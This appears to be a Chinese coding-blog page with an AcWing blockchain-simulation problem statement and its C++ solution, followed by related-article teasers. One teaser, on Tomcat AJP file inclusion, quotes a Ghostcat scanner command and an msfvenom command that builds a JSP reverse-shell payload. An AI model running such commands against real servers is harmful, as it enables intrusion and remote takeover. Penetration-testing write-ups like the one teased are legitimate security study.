【大模拟】逻辑回环类

news2024/9/24 13:18:59

区块链

AcWing 3285. 区块链 - AcWing

区块链涉及密码学、哈希算法、拜占庭问题、共识算法、故障模型、网络模型等诸多知识,也在金融等领域有广泛的应用。

本题中,我们需要实现一个简单的区块链系统。

在一个分布式网络中,有 nn 个节点通过 mm 条边相连,节点编号从 11 至 nn。

每个节点初始化都有一个相同的“创世块”,链长都为 11。

每个节点在整个过程中都需要维护一条主链,任何操作都只在主链上进行。

在整个系统中产生的每个新块都有唯一的整数编号,创始块的编号为 00,其余块的编号都为正整数。

当某个节点的链更新时,会将它的主链发送给它相邻的节点(邻居);而当节点收到链时,决定是否更新自己的主链。

下列情况可能会导致某个节点的链更新:

  • 某个节点接收到邻居发送过来的链,与当前自己的主链进行比较:
    • 如果接收到的链更长,则将其作为自己的主链:
    • 如果收到的链长度与自身主链相同,且最后一块编号更小,则将其作为自己的主链
    • 如果接收到的链更短,则直接忽略该链。
  • 某个节点产生一个新块,将新块放在主链的尾部。

假设网络带宽足够大,每个节点状态更新后,会立刻将自己的主链同时发送给所有邻居。

每个节点在每个时刻总是先接收链,再产生新块(注意这与实际的区块链工作方式不相同)。

每个节点发送、接收、产生块不消耗时间,只有在网络中传输链会消耗时间。

不过因为一些故障,这个网络可能会出现“分区”的情况,即出现多个子网络,不同子网络的节点无法互相收发消息。

在计算机中常用逻辑时钟来定义“时刻”。

逻辑时钟初始时间为 00,以单位 11 递增。

任意节点传输一条链到其邻居所花费的时间相同,都为 tt。

现在已知整个网络的结构以及每个节点产生新块的时间,需要查询特定时刻某个节点的主链。

输入格式

第一行两个正整数分别为 n,mn,m,分别表示网络的 nn 个节点和 mm 条边。

接下来 mm 行,每行 22 个正整数 ui,vi(1≤i≤m)ui,vi(1≤i≤m),表示网络中节点 uiui 和节点 vivi 具有(双向)连接。

接下来一行两个正整数 t,kt,k,分别表示每次传输延时 tt 和操作(产生块或查询)的数量。

接下来 kk 行,每行 22 或 33 个正整数:

  • 如果是三个数 ai,bi,ciai,bi,ci,表示节点 aiai 在 bibi 时刻产生了一个编号为 cici 的块。保证 bi≤bi+1(1≤i<k)bi≤bi+1(1≤i<k)。
  • 如果是两个数 ai,biai,bi,表示查询节点 aiai 处理完 bibi 时刻及以前的所有操作后的主链。保证对于同一时刻,任何查询在输入文件中都出现在当前时刻所有的新块被产生之后。
输出格式

依次输出若干行,分别对应每一次查询。

每行第一个正整数 LL 表示主链的长度,接下来 LL 个数表示主链每个块的编号。从链头(一定为 00)到链尾依次输出。

数据范围

QQ截图20210224143635.png


保证题中所有输入均为整数,并且所有整数绝对值不大于 109109。
保证无重边,但可能存在自环。

#include <iostream>
#include <cstring>
#include <algorithm>
#include <sstream>
#include <vector>
#include <queue>

using namespace std;

typedef vector<int> VI;
const int N = 510, M = 20010;

int n, m, w, Q;
int h[N], e[M], ne[M], idx;
vector<VI> g;
int node[N];

struct Op
{
    int t, id, pid, hid;
    bool operator< (const Op& r) const
    {
        return t > r.t;
    }
};
priority_queue<Op> heap;

void add(int a, int b)
{
    e[idx] = b, ne[idx] = h[a], h[a] = idx ++ ;
}

void eval()
{
    auto t = heap.top();
    heap.pop();

    auto &a = g[node[t.id]], &b = g[t.hid];
    if (b.size() > a.size() || b.size() == a.size() && b.back() < a.back())
    {
        node[t.id] = t.hid;
        for (int i = h[t.id]; ~i; i = ne[i])
            if (e[i] != t.pid && e[i] != t.id)
                heap.push({t.t + w, e[i], t.id, t.hid});
    }
}

int main()
{
    scanf("%d%d", &n, &m);
    g.push_back({0});
    memset(h, -1, sizeof h);
    while (m -- )
    {
        int a, b;
        scanf("%d%d", &a, &b);
        add(a, b), add(b, a);
    }

    scanf("%d%d", &w, &Q);
    getchar();
    char str[100];
    while (Q -- )
    {
        fgets(str, 100, stdin);
        stringstream ssin(str);
        int a[3], cnt = 0;
        while (ssin >> a[cnt]) cnt ++ ;
        if (cnt == 3)
        {
            while (heap.size() && heap.top().t <= a[1]) eval();
            g.push_back(g[node[a[0]]]);
            g.back().push_back(a[2]);
            node[a[0]] = g.size() - 1;
            for (int i = h[a[0]]; ~i; i = ne[i])
                if (e[i] != a[0])
                    heap.push({a[1] + w, e[i], a[0], node[a[0]]});
        }
        else
        {
            while (heap.size() && heap.top().t <= a[1]) eval();
            printf("%d ", g[node[a[0]]].size());
            for (auto x: g[node[a[0]]])
                printf("%d ", x);
            puts("");
        }
    }
    return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2046412.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

最新软件库系统源码/ 免服务器源码/带后台功能/使用链接上传或服务器存储

源码简介&#xff1a; 最新软件库系统源码&#xff0c;它是免服务器的&#xff0c;而且带后台&#xff0c;实现超级管理动态发布&#xff0c;会员系统卡密系统充值的后台功能。注册用户的软件投稿&#xff0c;可以使用链接上传&#xff0c;或者服务器存储。 它带有后台功能&a…

Springboot 整合 Swagger3(springdoc-openapi)

使用springdoc-openapi这个库来生成swagger的api文档 官方Github仓库&#xff1a; https://github.com/springdoc/springdoc-openapi 官网地址&#xff1a;https://springdoc.org 目录题 1. 引入依赖2. 拦截器设置3. 访问接口页面3.1 添加配置项&#xff0c;使得访问路径变短…

饮水机功能构建指导思想以及最小试验

饮水机功能构建指导思想以及最小试验 引言 我们饮水机, 其实就只有两个必须使用的功能, 一个是控制加热, 一个是控制放水, 我们现在就可以直接实现这两个功能. 我们使用stm32单片机, 直接控制两个io口的高低电平, 通过继电器, 就可以控制大电流设备的开关. 没错这就已经结束了…

时间序列预测 | CEEMDAN+CNN+Transformer多变量时间序列预测(Python)

目录 效果一览基本介绍程序设计参考资料 效果一览 基本介绍 时间序列预测 | CEEMDANCNNTransformer多变量时间序列预测&#xff08;Python&#xff09; 时间序列预测 创新点 多尺度特征提取&#xff1a;CEEMDAN将复杂的时间序列分解成多个IMFs&#xff0c;使得CNN和Transforme…

【TVM 教程】在 Adreno™ 上部署预训练模型

本文是一个逐步教程&#xff0c;演示如何在 Adreno 上&#xff08;不同精度&#xff09;部署预训练的 PyTorch ResNet-18 模型。 首先&#xff0c;我们需要安装 PyTorch 与 TorchVision&#xff0c;因为我们将使用它作为我们的模型库。 可以通过 pip 快速安装&#xff1a; p…

【Linux】Linux环境基础开发工具使用之Linux编译器-gcc/g++使用

目录 一、编译过程二、gcc/g如何完成三、error: for loop initial declarations are only allowed in C99 mode 的解决方法四、预处理五、编译六、汇编七、链接八、数据库8.1 动态库8.2 静态库8.3 动/静态链接的优缺点 结尾 一、编译过程 预处理&#xff08;头文件的展开、宏替…

计算机网络12——IM聊天系统——项目分析和架构搭建

1、IM——聊天系统主要功能 &#xff08;1&#xff09;注册 根据&#xff1a;昵称&#xff0c;手机号&#xff0c;密码 &#xff08;2&#xff09;登录 根据&#xff1a;手机号&#xff0c;密码 &#xff08;3&#xff09;添加好友 根据&#xff1a;昵称 &#xff08;4&…

【IR】Counterfactual Explainer on Graphs

图神经网络的反事实解释&#xff1a;最新文章略读 Survey [ 5 ] ^{[5]} [5]CFAD [ 1 ] ^{[1]} [1]CAF [ 3 ] ^{[3]} [3]GCFExplainer [ 2 ] ^{[2]} [2]CFE [ 4 ] ^{[4]} [4]RCExplainer [ 6 ] ^{[6]} [6]CF-GNNExplainer [ 7 ] ^{[7]} [7]Ref Survey [ 5 ] ^{[5]} [5] NeurIP…

Ubuntu24.04使用SRS 搭建 RTMP流媒体服务器

一、简介 SRS(Simple Realtime Server)是一个简单高效的实时视频服务器&#xff0c; 是国人写的一款非常优秀的开源流媒体服务器软件&#xff0c;可用于直播/录播/视频客服等多种场景&#xff0c;其定位是运营级的互联网直播服务器集群。支持RTMP/WebRTC/HLS/HTTP-FLV/SRT/GB28…

基于html5的网上团购系统设计与实现

TOC springboot301基于html5的网上团购系统设计与实现 第1章 绪论 1.1 研究背景 互联网时代不仅仅是通过各种各样的电脑进行网络连接的时代&#xff0c;也包含了移动终端连接互联网进行复杂处理的一些事情。传统的互联网时代一般泛指就是PC端&#xff0c;也就是电脑互联网时…

编码在左,学习在右,你心中的天平如何倾斜?

目录 前言 程序员如何平衡日常编码工作与提升式学习&#xff1f; 养成高效编码习惯 掌握时间管理技巧 提升式学习的策略 广泛涉猎的优势与考虑因素 深入钻研的优势与考虑因素 职业发展与个人成长的和谐共生 结束语 前言 程序员如何平衡日常编码工作与提升式学习&#…

vue项目配置基础路由vue-router

1、运行以下命令安装vue-router yarn add vue-router 2、在src目录下的components中新建两个vue页面 3、在src目录下新建router文件夹&#xff0c;在router文件夹下面新建index.js文件 4、配置main.js文件 //引入Vue import Vue from "vue"; //引入App import App…

demo测试

目录 接口commonCodeGenerator entityuser mapperUserMapper controllerUserController serviceUserServiceimplUserServiceImpl mapper.xmlpom.xmlapplication.yml 接口 common CodeGenerator package com.llz.demo.common;import com.baomidou.mybatisplus.core.exceptions…

P2680 [NOIP2015 提高组] 运输计划(树上二分答案)

[NOIP2015 提高组] 运输计划 - 洛谷 核心思路 树上二分答案。答案这个字眼很重要&#xff0c;因为&#xff0c;二分出来的就是答案。 拟合经验。 AC 代码 #include<iostream> #include<vector> #include<cstring> #include<algorithm> #include&l…

如何选择合适的虚拟机软件?对比Parallels Desktop 和VMware Fusion 使用虚拟机畅玩黑神话悟空

随着技术的发展&#xff0c;虚拟机软件将更加高效地管理和分配系统资源。虚拟机软件扮演着越来越重要的角色。无论是软件开发者需要测试不同操作系统环境下的应用&#xff0c;还是普通用户希望在一台机器上同时运行多个操作系统&#xff0c;虚拟机软件都是不可或缺的工具。那么…

RocketMQ的事务消息是如何实现的

什么是分布式事务&#xff1f; 分布式事务解决的是多数据源数据一致性问题。 事务消息是 Apache RocketMQ 提供的一种高级消息类型&#xff0c;支持在分布式场景下保障消息生产和本地事务的最终一致性。 为什么要使用 MQ 来做分布式事务&#xff1f; 举个例子&#xff0c;假…

JVM对象在堆、栈、TLAP上的分配

文章目录 前言堆中对象的分配策略大对象直接进入老年代 本地内存分配缓冲区(Thread-local allocation buffer)对象分配在栈上逃逸分析概述演示发生逃逸的对象演示发生逃逸的对象StringBuffer不发生逃逸 逃逸分析之栈上分配逃逸分析之同步省略逃逸分析之标量替换 总结 前言 一般…

WEB渗透-TomcatAjp之LFIRCE

LFI https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner >python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass配合目标文件上传传入服务器 RCE >msfvenom -p java/jsp_shell_reverse_tcp LHOST192.168.0.107 LPORT12138 R >/va…

C++ | Leetcode C++题解之第338题比特位计数

题目&#xff1a; 题解&#xff1a; class Solution { public:vector<int> countBits(int n) {vector<int> bits(n 1);for (int i 1; i < n; i) {bits[i] bits[i & (i - 1)] 1;}return bits;} };

Windows安装MySQL时出现Install/Remove of the Service Denied!解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…